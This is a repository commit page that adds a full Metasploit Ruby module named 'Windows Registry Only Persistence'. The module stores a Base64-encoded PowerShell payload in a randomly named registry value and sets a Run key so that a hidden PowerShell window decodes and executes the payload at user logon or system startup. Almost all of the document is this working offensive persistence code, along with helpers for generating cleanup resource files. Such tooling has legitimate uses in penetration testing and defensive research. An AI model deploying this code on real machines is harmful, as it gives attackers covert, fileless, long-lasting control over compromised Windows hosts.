Land #5639, adds registry persistence
commit
9b51352c62
|
@ -0,0 +1,202 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Registry Only Persistence',
|
||||
'Description' => %q{
|
||||
This module will install a payload that is executed during boot.
|
||||
It will be executed either at user logon or system startup via the registry
|
||||
value in "CurrentVersion\Run" (depending on privilege and selected method).
|
||||
The payload will be installed completely in registry.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Donny Maasland <donny.maasland[at]fox-it.com>',
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter', 'cmd' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "Jul 1 2015",
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DisablePayloadHandler' => 'true'
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('STARTUP',
|
||||
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
||||
OptString.new('BLOB_REG_KEY',
|
||||
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
|
||||
OptString.new('BLOB_REG_NAME',
|
||||
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
|
||||
OptString.new('RUN_NAME',
|
||||
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
|
||||
OptBool.new('CREATE_RC',
|
||||
[false, 'Create a resource file for cleanup', true]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_payload_blob
|
||||
opts = {
|
||||
use_single_quotes: true,
|
||||
encode_final_payload: true,
|
||||
}
|
||||
blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
|
||||
return blob
|
||||
end
|
||||
|
||||
def generate_cmd(root_path, blob_key_name, blob_key_reg)
|
||||
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
|
||||
return cmd
|
||||
end
|
||||
|
||||
def generate_blob_reg
|
||||
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
|
||||
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
|
||||
return blob_reg_key, blob_reg_name
|
||||
end
|
||||
|
||||
def generate_cmd_reg
|
||||
cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
|
||||
return cmd_reg
|
||||
end
|
||||
|
||||
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
||||
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
|
||||
new_key = false
|
||||
if not registry_enumkeys(blob_reg_key)
|
||||
unless registry_createkey(blob_reg_key)
|
||||
fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
|
||||
end
|
||||
print_good("Created registry key #{blob_reg_key}")
|
||||
new_key = true
|
||||
end
|
||||
|
||||
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
|
||||
fail_with(Failure::Unknown,'Failed to open the registry key for writing')
|
||||
end
|
||||
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
|
||||
return new_key
|
||||
end
|
||||
|
||||
def install_cmd(cmd, cmd_reg, root_path)
|
||||
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
|
||||
fail_with(Failure::Unknown,'Could not install run key')
|
||||
end
|
||||
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
|
||||
end
|
||||
|
||||
def get_root_path
|
||||
if datastore['STARTUP'] == 'USER'
|
||||
root_path = 'HKCU'
|
||||
else
|
||||
root_path = 'HKLM'
|
||||
end
|
||||
return root_path
|
||||
end
|
||||
|
||||
def log_file(log_path = nil) # Thanks Meatballs for this
|
||||
# Get hostname
|
||||
host = session.session_host
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
if log_path
|
||||
logs = ::File.join(log_path, 'logs', 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo))
|
||||
else
|
||||
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo))
|
||||
end
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
# logfile name
|
||||
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
|
||||
logfile
|
||||
end
|
||||
|
||||
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
|
||||
clean_rc = log_file()
|
||||
@clean_up_rc = ""
|
||||
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
|
||||
if new_key
|
||||
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
|
||||
end
|
||||
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
|
||||
file_local_write(clean_rc, @clean_up_rc)
|
||||
print_status("Clean up Meterpreter RC file: #{clean_rc}")
|
||||
|
||||
report_note(:host => session.session_host,
|
||||
type: 'host.persistance.cleanup',
|
||||
data: {
|
||||
local_id: session.sid,
|
||||
stype: session.type,
|
||||
desc: session.info,
|
||||
platform: session.platform,
|
||||
via_payload: session.via_payload,
|
||||
via_exploit: session.via_exploit,
|
||||
created_at: Time.now.utc,
|
||||
commands: @clean_up_rc
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
||||
print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
|
||||
end
|
||||
|
||||
print_status('Generating payload blob..')
|
||||
blob = generate_payload_blob
|
||||
print_good("Generated payload, #{blob.length} bytes")
|
||||
|
||||
root_path = get_root_path
|
||||
print_status("Root path is #{root_path}")
|
||||
|
||||
blob_reg_key, blob_reg_name = generate_blob_reg
|
||||
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
|
||||
cmd_reg = generate_cmd_reg
|
||||
|
||||
print_status('Installing payload blob..')
|
||||
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
||||
|
||||
print_status('Installing run key')
|
||||
install_cmd(cmd, cmd_reg, root_path)
|
||||
|
||||
if datastore['CREATE_RC']
|
||||
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue